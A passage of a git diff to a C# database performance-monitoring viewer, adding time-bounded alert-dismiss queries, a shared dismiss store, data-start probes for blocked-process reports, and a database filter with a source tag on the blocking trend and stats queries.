+    /// dismiss only the rows it shows.</summary>
+    internal const string DismissWindowForServerSql = @"
+UPDATE config_alert_log
+SET    dismissed = TRUE
+WHERE  alert_time >= $1
+AND    server_id = $2
+AND    alert_time < $3
+AND    dismissed = FALSE";
+
+    /// <summary>Window dismiss with an end (#5562), every server: $1 window start, $2 window end (exclusive).</summary>
+    internal const string DismissWindowAllServersSql = @"
+UPDATE config_alert_log
+SET    dismissed = TRUE
+WHERE  alert_time >= $1
+AND    alert_time < $2
+AND    dismissed = FALSE";
+
     /// <summary>How long the alert-history reads serve the fleet's server clocks before reading them again
     /// (#4766). The shell polls the history on every refresh tick (30s by default, 10s at the fastest), and a
     /// server's clock only changes with a new <c>server_properties</c> row, which lands when the server connects
@@ -197,8 +223,14 @@ ORDER BY a.alert_time DESC
     /// <paramref name="serverId"/> it aggregates ALL servers (the tab's default); with one it scopes to
     /// that server (the Server filter combo). Mirrors Lite's optional-serverId GetAlertHistoryAsync.
     /// </summary>
-    public async Task<List<ViewerAlertRow>> GetAlertHistoryAsync(
+    public Task<List<ViewerAlertRow>> GetAlertHistoryAsync(
         DateTime sinceUtc, int? serverId = null, int limit = 500, CancellationToken cancellationToken = default)
+        => GetAlertHistoryWindowAsync(sinceUtc, null, serverId, limit, cancellationToken);
+
+    /// <summary><see cref="GetAlertHistoryAsync"/> over a window that may END before now (#5562): <paramref name="untilUtc"/> is
+    /// exclusive, and null means the window runs to now.</summary>
+    public async Task<List<ViewerAlertRow>> GetAlertHistoryWindowAsync(
+        DateTime sinceUtc, DateTime? untilUtc, int? serverId = null, int limit = 500, CancellationToken cancellationToken = default)
     {
         var rows = new List<ViewerAlertRow>();
 
@@ -221,6 +253,10 @@ same answer each time. A server filter reads the same fleet snapshot and looks i
             command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
         }
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = limit });
+        command.Parameters.Add(new NpgsqlParameter<DateTime>
+        {
+            TypedValue = DateTime.SpecifyKind(untilUtc ?? AlertWindowOpenEnd, DateTimeKind.Unspecified),
+        });
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -256,34 +292,14 @@ same answer each time. A server filter reads the same fleet snapshot and looks i
        the two-phase live+sidecar dismiss collapses to one atomic UPDATE — no explicit transaction
        needed. Every match is keyed the same way Lite keyed it: (alert_time, server_id, metric_name). */
 
-    /// <summary>
-    /// Dismiss the given rows by (alert_time, server_id, metric_name). One set-based UPDATE keyed off
-    /// unnested arrays (so the whole batch dismisses in a single round-trip). Already-dismissed rows are
-    /// left alone by the <c>dismissed = FALSE</c> guard.
-    /// </summary>
-    public const string DismissAlertsSql = @"
-UPDATE config_alert_log
-SET    dismissed = TRUE
-WHERE  dismissed = FALSE
-AND    (alert_time, server_id, metric_name) IN (
-    SELECT t.alert_time, t.server_id, t.metric_name
-    FROM   unnest($1::timestamp[], $2::integer[], $3::text[]) AS t(alert_time, server_id, metric_name)
-)";
+    /// <summary>The keyed dismiss UPDATE; the statement lives in <see cref="AlertDismissStore"/>, the one copy the web route shares.</summary>
+    public const string DismissAlertsSql = AlertDismissStore.DismissAlertsSql;
 
     /// <summary>Dismiss all visible rows in the window across every server. $1 window start.</summary>
-    public const string DismissAllAlertsSql = @"
-UPDATE config_alert_log
-SET    dismissed = TRUE
-WHERE  alert_time >= $1
-AND    dismissed = FALSE";
+    public const string DismissAllAlertsSql = AlertDismissStore.DismissAllAlertsSql;
 
     /// <summary>Dismiss all visible rows in the window for one server. $1 window start, $2 server_id.</summary>
-    public const string DismissAllAlertsForServerSql = @"
-UPDATE config_alert_log
-SET    dismissed = TRUE
-WHERE  alert_time >= $1
-AND    server_id = $2
-AND    dismissed = FALSE";
+    public const string DismissAllAlertsForServerSql = AlertDismissStore.DismissAllAlertsForServerSql;
 
     /// <summary>
     /// Marks the given alerts dismissed. Returns how many live rows the UPDATE actually changed
@@ -301,21 +317,14 @@ public async Task<int> DismissAlertsAsync(IReadOnlyList<ViewerAlertRow> alerts,
             return 0;
         }
 
-        var times = new DateTime[alerts.Count];
-        var ids = new int[alerts.Count];
-        var metrics = new string[alerts.Count];
+        var keys = new AlertDismissKey[alerts.Count];
         for (var i = 0; i < alerts.Count; i++)
         {
-            times[i] = DateTime.SpecifyKind(alerts[i].AlertTime, DateTimeKind.Unspecified);
-            ids[i] = alerts[i].ServerId;
-            metrics[i] = alerts[i].MetricName;
+            keys[i] = new AlertDismissKey(alerts[i].AlertTime, alerts[i].ServerId, alerts[i].MetricName);
         }
 
-        await using var command = _dataSource.CreateCommand(DismissAlertsSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter { Value = times });
-        command.Parameters.Add(new NpgsqlParameter { Value = ids });
-        command.Parameters.Add(new NpgsqlParameter { Value = metrics });
+        await using var command = AlertDismissStore.CreateDismissCommand(
+            _dataSource, keys, ViewerCommandDeadlines.CurrentInteractiveReadSeconds);
 
         return await ExecuteWriteAsync(command, cancellationToken);
     }
@@ -325,21 +334,33 @@ public async Task<int> DismissAlertsAsync(IReadOnlyList<ViewerAlertRow> alerts,
     /// <paramref name="serverId"/> is set, otherwise across all servers (matching the current filter).
     /// Returns the number of rows changed.
     /// </summary>
-    public async Task<int> DismissAllVisibleAlertsAsync(
+    public Task<int> DismissAllVisibleAlertsAsync(
         DateTime sinceUtc, int? serverId = null, CancellationToken cancellationToken = default)
+        => DismissAllVisibleAlertsWindowAsync(sinceUtc, null, serverId, cancellationToken);
+
+    /// <summary><see cref="DismissAllVisibleAlertsAsync"/> over a window that may END before now (#5562): only the rows the
+    /// grid shows for that window. <paramref name="untilUtc"/> is exclusive; null means the window runs to now.</summary>
+    public async Task<int> DismissAllVisibleAlertsWindowAsync(
+        DateTime sinceUtc, DateTime? untilUtc, int? serverId = null, CancellationToken cancellationToken = default)
     {
-        await using var command = _dataSource.CreateCommand(
-            serverId.HasValue ? DismissAllAlertsForServerSql : DismissAllAlertsSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<DateTime>
-        {
-            TypedValue = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified),
-        });
-        if (serverId.HasValue)
+        if (untilUtc is { } until)
         {
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
+            /* #5562: a window that ended in the past dismisses only the rows it shows. */
+            await using var bounded = _dataSource.CreateCommand(serverId.HasValue ? DismissWindowForServerSql : DismissWindowAllServersSql);
+            bounded.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            bounded.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified) });
+            if (serverId.HasValue)
+            {
+                bounded.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
+            }
+
+            bounded.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(until, DateTimeKind.Unspecified) });
+            return await ExecuteWriteAsync(bounded, cancellationToken);
         }
 
+        await using var command = AlertDismissStore.CreateDismissAllCommand(
+            _dataSource, sinceUtc, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds);
+
         return await ExecuteWriteAsync(command, cancellationToken);
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AvailabilityGroups.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AvailabilityGroups.cs
index 2d6c7b0cf3..44e4cc5dea 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AvailabilityGroups.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AvailabilityGroups.cs
@@ -44,7 +44,7 @@ public async Task<List<AgTopologyCard>> GetAvailabilityGroupsAsync(CancellationT
             return new List<AgTopologyCard>();
         }
 
-        return AgTopology.BuildCards(replicas, await ReadAgDatabasesAsync(nowUtc, cancellationToken));
+        return AgTopology.BuildCards(replicas, await ReadAgDatabasesAsync(nowUtc, cancellationToken), nowUtc);
     }
 
     /// <summary>Maps <see cref="DarlingAgStatesReader"/>'s raw rows into <see cref="AgTopologyReplicaRow"/>,
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs
index 300303350e..39a0d76272 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs
@@ -8,16 +8,28 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Analysis;
 using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
+/// <summary>
+/// The Blocked Process Reports grid's rows, and where a read that filled its own cap stops the grid being complete
+/// (<see cref="ViewerDataService.ReadRecentBlockedProcessReportsAsync"/>, #4966).
+/// </summary>
+/// <param name="Rows">The merged rows, newest first, at most <see cref="ViewerDataService.BlockedProcessReportsRowCap"/>.</param>
+/// <param name="CappedSourceStartUtc">The oldest event time the XE read or the DMV read returned, for the one that returned a
+/// full page (the later, when both did): the older reports of that read are not in the grid, whatever the merged count is.
+/// Null when neither read filled its cap.</param>
+public sealed record ViewerBlockedProcessReportsRead(List<ViewerBlockedProcessRow> Rows, DateTime? CappedSourceStartUtc);
+
 /// <summary>
 /// The Blocking-tab grid row — widened to Lite parity (W1e). All alert-consumed members (event time,
 /// database, SPID pair, wait/lock, the query pair, report XML, contentious object, Source) live on the
@@ -237,16 +249,210 @@ LIMIT 5000
     /// the alert path's semantics, on the shared row shape.
     /// </summary>
     public async Task<List<ViewerBlockedProcessRow>> GetRecentBlockedProcessReportsAsync(
+        int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default) =>
+        (await ReadRecentBlockedProcessReportsAsync(serverId, startUtc, endUtc, databaseNames, cancellationToken)).Rows;
+
+    /// <summary>
+    /// The grid's rows (<see cref="GetRecentBlockedProcessReportsAsync"/>) and where the grid stops being complete when one
+    /// of the two reads behind it filled its own cap (#4966). Each read keeps its newest 200 rows, and the merge then drops
+    /// the DMV rows an XE report already covers and the DMV rows that repeat a pair within a minute, so the merged list can
+    /// hold fewer than 200 rows while the DMV read stopped at its LIMIT and left older reports out. The count of the merged
+    /// list cannot show that, so each read's own count is checked here, before the merge
+    /// (<see cref="ViewerEventDataStart.CappedSourceStart"/>).
+    /// </summary>
+    public async Task<ViewerBlockedProcessReportsRead> ReadRecentBlockedProcessReportsAsync(
         int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var items = await ReadBlockedProcessRowsAsync(serverId, startUtc, endUtc, databaseNames, cancellationToken);
         var dmvItems = await ReadDmvBlockedProcessRowsAsync(serverId, startUtc, endUtc, databaseNames, cancellationToken);
 
+        var cappedSourceStart = ViewerEventDataStart.CappedSourceStart(
+            BlockedProcessReportsRowCap, items.Select(r => r.EventTime).ToList(), dmvItems.Select(r => r.EventTime).ToList());
+
         BlockedProcessReportMerge.AppendDmvFallbackRows(items, dmvItems);
 
-        return items;
+        return new ViewerBlockedProcessReportsRead(items, cappedSourceStart);
+    }
+
+    /// <summary>The grid's row cap: the newest 200 reports, after the DMV fallback rows are merged in. The SQL's own LIMIT is the same number.</summary>
+    public const int BlockedProcessReportsRowCap = BlockedProcessReportMerge.DefaultCap;
+
+    /// <summary>
+    /// Where this server's coverage of the Blocked Process Reports grid starts for the window, through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its first
+    /// row in the window if that is earlier (#4966). The grid is fed by two collectors, the XE blocked_process_reports
+    /// table and the always-on DMV snapshots beside it, which stand in for it when XE collection is off (a server whose
+    /// blocked process threshold is unset); the coverage is the EARLIER of the two, so a server with only the DMV
+    /// collector running does not read as uncovered, and one whose DMV rows are quiet at the start does not read as cut.
+    /// The grid windows on the report's own event time, which can reach before the coverage (the server's first
+    /// collection stores its history), so the caller names the earlier of this and the earliest report it shows
+    /// (<see cref="ViewerEventDataStart.Of"/>). Null when neither collector holds a row or a logged run in the window, and
+    /// when the window lies wholly before both coverages. A probe that throws throws here, so the caller's notice hides.
+    /// </summary>
+    public async Task<DateTime?> GetBlockedProcessReportsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+    {
+        /* The two probes run side by side, so the deadline each is handed is priced for two reads in flight. */
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var xe = DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("blocked_process_reports"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        var dmv = DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("dmv_blocking_snapshots"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+        var answers = await Task.WhenAll(xe, dmv);
+
+        return answers.Where(a => a is not null).Min();
+    }
+
+    /// <summary>
+    /// Whether the XE blocked_process_reports source holds a report in the window: the same predicate the Blocking charts' reads
+    /// use for their <c>bpr</c> arm (event time in the window, the event-window floor on collection time, the database filter),
+    /// so true here means the charts draw from XE rows and not from the DMV fallback beside them.
+    /// </summary>
+    public const string BlockedProcessReportsInWindowSql = """
+        SELECT EXISTS (
+            SELECT 1
+            FROM v_blocked_process_reports
+            WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
+            AND   collection_time >= $5
+            AND   ($4::text[] IS NULL OR database_name = ANY($4))
+        )
+        """;
+
+    /// <summary>Whether the XE blocked-process-report source has a report in the window for the optional database filter (see <see cref="BlockedProcessReportsInWindowSql"/>).</summary>
+    public async Task<bool> HasBlockedProcessReportsInWindowAsync(
+        int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
+    {
+        await using var command = _dataSource.CreateCommand(BlockedProcessReportsInWindowSql);
+        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        AddBlockingParameters(command, serverId, startUtc, endUtc);
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = EventWindowFloor.For(startUtc) });
+        return await command.ExecuteScalarAsync(cancellationToken) is true;
+    }
+
+    /// <summary>
+    /// Where the Blocking charts' data starts for the window (#5098). The Trends, Stats and Overview-lane reads draw from the XE
+    /// table when it holds a report in the window and from the DMV snapshots only when it holds none, so when it does the XE
+    /// collector alone names the start (its first logged run, or its earliest report in the window if that is earlier): the DMV
+    /// collector's longer history is not what the chart shows. With no XE report in the window it is the grid's two-source probe
+    /// (<see cref="GetBlockedProcessReportsDataStartAsync"/>). A window that starts before the collection log's horizon falls back
+    /// to the XE table rule, since the log cannot prove a first run that far back. The existence check and the probe run one after
+    /// the other, so the caller's fan-out count is unchanged. A check or probe that throws throws here.
+    /// </summary>
+    public async Task<DateTime?> GetBlockingChartDataStartAsync(
+        int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
+    {
+        /* A window no longer than the truncation slack can never get a note: no query runs for it (the probe it replaces answers null too). */
+        if (endUtc - startUtc <= DurationTrendRouting.TruncationSlack)
+            return null;
+
+        if (!await HasBlockedProcessReportsInWindowAsync(serverId, startUtc, endUtc, databaseNames, cancellationToken))
+            return await GetBlockedProcessReportsDataStartAsync(serverId, startUtc, endUtc, cancellationToken);
+
+        /* The run log keeps CollectionLogRetentionDays, so a window that starts before its horizon cannot prove a first run: the log's
+           oldest run is its purge edge, not the collector's start, and a store that keeps the XE table longer would get a false notice.
+           There the old table rule answers, as the grid's probe does. */
+        if (startUtc < DarlingRetentionHorizons.CollectionLogHorizon(DateTime.UtcNow))
+            return await DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("blocked_process_reports"), serverId, startUtc, endUtc,
+                ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+        /* The XE collector's own start, not the table rule of DataWindowFloor.Source.ForCollectorTable or the run rule of ForCollectorRuns:
+           both answer the later of the retention edge and the server's registration, so a long-registered server reads covered however
+           late the collector began. The coverage here is the collector's first logged run, and an XE report carries its own event time,
+           which can come before it (the first collection stores history): the earlier of the two is where the charts' data starts. */
+        await using var command = _dataSource.CreateCommand(BlockingChartXeStartSql);
+        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        AddBlockingParameters(command, serverId, startUtc, endUtc);
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = EventWindowFloor.For(startUtc) });
+        DateTime? collectorCoverage;
+        DateTime? earliestReport;
+        await using (var reader = await command.ExecuteReaderAsync(cancellationToken))
+        {
+            await reader.ReadAsync(cancellationToken);
+            collectorCoverage = reader.IsDBNull(0) ? null : reader.GetDateTime(0);
+            earliestReport = reader.IsDBNull(1) ? null : reader.GetDateTime(1);
+        }
+
+        /* The threshold's history (#5098): the collector can run for days before blocked process threshold (s) is switched on, and the
+           zeros it logs for that stretch are not coverage. The read runs after the one above, on this same branch only (the DMV branch
+           above never draws reports), so the fan-out count is unchanged. */
+        var threshold = await GetBlockedProcessThresholdOnAsync(serverId, startUtc, endUtc, cancellationToken);
+        var answer = BlockingThresholdCoverage.Combine(
+            collectorCoverage, earliestReport, threshold.OnAtWindowStart, threshold.FirstOnInWindow, threshold.SawZeroSnapshot);
+        return answer is { } start && start < endUtc ? start : null;
+    }
+
+    /// <summary>
+    /// What the daily <c>server_config</c> snapshots say about <c>blocked process threshold (s)</c> over a window (#5098), the three
+    /// inputs of <see cref="BlockingThresholdCoverage.Combine"/>: whether the newest snapshot at or before $2 read above zero, the first
+    /// snapshot in <c>($2, $3]</c> that did, and whether a snapshot read zero before the threshold was seen on (the newest one at or before $2, or one in the window dated before that first nonzero one; a zero after it means the threshold was turned off later, which is not a late start). $1 server, $2 window start, $3 window
+    /// end. Two bounded reads: the newest row at or before $2 and the rows in the window, riding the config table's server/time index.
+    /// </summary>
+    public const string BlockedProcessThresholdOnSql = """
+        WITH before AS (
+            SELECT c.value_in_use
+            FROM v_server_config AS c
+            WHERE c.server_id = $1 AND c.configuration_name = 'blocked process threshold (s)' AND c.capture_time <= $2
+            ORDER BY c.capture_time DESC
+            LIMIT 1),
+        inside AS (
+            SELECT c.capture_time, c.value_in_use
+            FROM v_server_config AS c
+            WHERE c.server_id = $1 AND c.configuration_name = 'blocked process threshold (s)' AND c.capture_time > $2 AND c.capture_time <= $3),
+        first_on AS (
+            SELECT MIN(i.capture_time) AS capture_time FROM inside AS i WHERE i.value_in_use > 0)
+        SELECT
+            COALESCE((SELECT b.value_in_use > 0 FROM before AS b), FALSE),
+            (SELECT f.capture_time FROM first_on AS f),
+            EXISTS (SELECT 1 FROM before AS b WHERE b.value_in_use = 0)
+                OR EXISTS (SELECT 1 FROM inside AS i CROSS JOIN first_on AS f
+                           WHERE i.value_in_use = 0 AND (f.capture_time IS NULL OR i.capture_time < f.capture_time))
+        """;
+
+    /// <summary>The threshold's history over the window (see <see cref="BlockedProcessThresholdOnSql"/>); no snapshots at all reads as "on at start: no, first on: none, saw zero: no", which <see cref="BlockingThresholdCoverage.Combine"/> leaves unchanged.</summary>
+    public async Task<(bool OnAtWindowStart, DateTime? FirstOnInWindow, bool SawZeroSnapshot)> GetBlockedProcessThresholdOnAsync(
+        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+    {
+        await using var command = _dataSource.CreateCommand(BlockedProcessThresholdOnSql);
+        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        AddBlockingParameters(command, serverId, startUtc, endUtc);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        await reader.ReadAsync(cancellationToken);
+        return (reader.GetBoolean(0), reader.IsDBNull(1) ? null : reader.GetDateTime(1), reader.GetBoolean(2));
     }
 
+    /// <summary>
+    /// Where the XE blocked-process-report data starts for one server, as two columns: the XE collector's first logged run
+    /// in the window (or the window's start when a run exists before it, which is covered), and the earliest XE report in the
+    /// window (the same predicate as <see cref="BlockedProcessReportsInWindowSql"/>). The caller takes the earlier of the two,
+    /// through <see cref="BlockingThresholdCoverage.Combine"/>, which also folds in the threshold's history.
+    /// $1 server, $2 window start, $3 window end, $4 database filter, $5 the event-window floor on collection time. Both run
+    /// reads are bounded, the first run in <c>[$2, $3]</c> and the newest run before $2, and ride
+    /// <c>idx_collection_log_watermark (server_id, collector_name, collection_time DESC)</c>.
+    /// </summary>
+    public const string BlockingChartXeStartSql = """
+        SELECT
+            CASE WHEN EXISTS (SELECT 1
+                              FROM collect.collection_log AS p
+                              WHERE p.server_id = $1 AND p.collector_name = 'blocked_process_report' AND p.collection_time < $2
+                              ORDER BY p.collection_time DESC
+                              LIMIT 1)
+                 THEN $2::timestamp
+                 ELSE (SELECT c.collection_time
+                       FROM collect.collection_log AS c
+                       WHERE c.server_id = $1 AND c.collector_name = 'blocked_process_report'
+                       AND   c.collection_time >= $2 AND c.collection_time <= $3
+                       ORDER BY c.collection_time
+                       LIMIT 1)
+            END,
+            (SELECT MIN(b.event_time)
+             FROM v_blocked_process_reports AS b
+             WHERE b.server_id = $1 AND b.event_time >= $2 AND b.event_time <= $3
+             AND   b.collection_time >= $5
+             AND   ($4::text[] IS NULL OR b.database_name = ANY($4)))
+        """;
+
     /// <summary>Maps the full 37-column blocked-process-report read into the widened grid row.</summary>
     private async Task<List<ViewerBlockedProcessRow>> ReadBlockedProcessRowsAsync(
         int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames, CancellationToken cancellationToken)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingStats.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingStats.cs
index cec6691d9e..ca3525bf2a 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingStats.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingStats.cs
@@ -27,7 +27,7 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// the same column the Blocked Process Reports grid and the alert path read as the block's wait time.
 /// </summary>
 public sealed record BlockingDurationStatsPoint(
-    DateTime Time, int EventCount, long TotalDurationMs, long MaxDurationMs, double AvgDurationMs);
+    DateTime Time, int EventCount, long TotalDurationMs, long MaxDurationMs, double AvgDurationMs, string? Source = null);
 
 
 public sealed partial class ViewerDataService
@@ -47,7 +47,9 @@ public sealed partial class ViewerDataService
     /// UTC). $4 is the <see cref="EventWindowFloor"/> for $2 — both tables are hypertables partitioned on
     /// <c>collection_time</c>, which this event-time window alone gives the planner nothing to exclude a
     /// chunk on (#4229); the floor lets it skip every chunk older than the window, without being able to
-    /// drop a row (an event is collected after it happens).
+    /// drop a row (an event is collected after it happens). $5 is the database filter (#5244), the same
+    /// <c>text[]</c> (NULL for all) the count trend binds, on BOTH arms so the severity reconciles with it.
+    /// The last column names the arm that answered, the tag Darling's MCP answers carry.
     /// </summary>
     public const string BlockingDurationStatsSql = """
         WITH bpr AS (
@@ -56,10 +58,12 @@ WITH bpr AS (
                 COUNT(*) AS event_count,
                 CAST(SUM(wait_time_ms) AS bigint) AS total_duration_ms,
                 MAX(wait_time_ms) AS max_duration_ms,
-                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms
+                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms,
+                'blocked-process-report' AS source
             FROM v_blocked_process_reports
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $4
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY DATE_TRUNC('minute', event_time)
         ),
         dmv AS (
@@ -68,15 +72,17 @@ dmv AS (
                 COUNT(*) AS event_count,
                 CAST(SUM(wait_time_ms) AS bigint) AS total_duration_ms,
                 MAX(wait_time_ms) AS max_duration_ms,
-                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms
+                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms,
+                'DMV snapshot' AS source
             FROM v_dmv_blocking_snapshots
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $4
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY DATE_TRUNC('minute', event_time)
         )
-        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM bpr
+        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM bpr
         UNION ALL
-        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
         ORDER BY bucket
         """;
 
@@ -86,7 +92,7 @@ ORDER BY bucket
     /// so it reconciles with the blocking-incident count trend.
     /// </summary>
     public async Task<List<BlockingDurationStatsPoint>> GetBlockingDurationStatsAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+        int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var items = new List<BlockingDurationStatsPoint>();
 
@@ -102,6 +108,7 @@ public async Task<List<BlockingDurationStatsPoint>> GetBlockingDurationStatsAsyn
             TypedValue = DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified),
         });
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = EventWindowFloor.For(startUtc) });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -110,7 +117,8 @@ public async Task<List<BlockingDurationStatsPoint>> GetBlockingDurationStatsAsyn
                 reader.IsDBNull(1) ? 0 : (int)reader.GetInt64(1),
                 reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
                 reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
-                reader.IsDBNull(4) ? 0 : reader.GetDouble(4)));
+                reader.IsDBNull(4) ? 0 : reader.GetDouble(4),
+                reader.IsDBNull(5) ? null : reader.GetString(5)));
         }
 
         return items;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs
index ecdad459f8..b4298aa91b 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs
@@ -19,7 +19,8 @@ namespace PerformanceMonitor.Darling.Viewer;
 
 /// <summary>One incident-count-per-minute bucket for the Blocking Trends charts (mirror of Lite's
 /// <c>TrendPoint</c>); shared by the blocking-incident and deadlock trend charts, which spike-plot it.</summary>
-public sealed record BlockingTrendPoint(DateTime Time, int Count);
+/// <remarks>#5244: <c>Source</c> is the arm that answered, "blocked-process-report" or "DMV snapshot" (the blocking trend only; the deadlock trend leaves it null).</remarks>
+public sealed record BlockingTrendPoint(DateTime Time, int Count, string? Source = null);
 
 /// <summary>One LCK% wait's per-second rate at a collection (mirror of Lite's <c>LockWaitTrendPoint</c>),
 /// grouped by wait type for the Blocking Trends lock-wait chart.
@@ -70,7 +71,7 @@ public sealed partial class ViewerDataService
     /// </summary>
     public const string BlockingTrendSql = """
         WITH bpr AS (
-            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'blocked-process-report' AS source
             FROM v_blocked_process_reports
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $5
@@ -78,16 +79,16 @@ FROM v_blocked_process_reports
             GROUP BY DATE_TRUNC('minute', event_time)
         ),
         dmv AS (
-            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'DMV snapshot' AS source
             FROM v_dmv_blocking_snapshots
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $5
             AND   ($4::text[] IS NULL OR database_name = ANY($4))
             GROUP BY DATE_TRUNC('minute', event_time)
         )
-        SELECT bucket, incident_count FROM bpr
+        SELECT bucket, incident_count, source FROM bpr
         UNION ALL
-        SELECT bucket, incident_count FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+        SELECT bucket, incident_count, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
         ORDER BY bucket
         """;
 
@@ -283,7 +284,8 @@ private async Task<List<BlockingTrendPoint>> ReadCountTrendAsync(
         {
             items.Add(new BlockingTrendPoint(
                 reader.GetDateTime(0),
-                reader.IsDBNull(1) ? 0 : (int)reader.GetInt64(1)));
+                reader.IsDBNull(1) ? 0 : (int)reader.GetInt64(1),
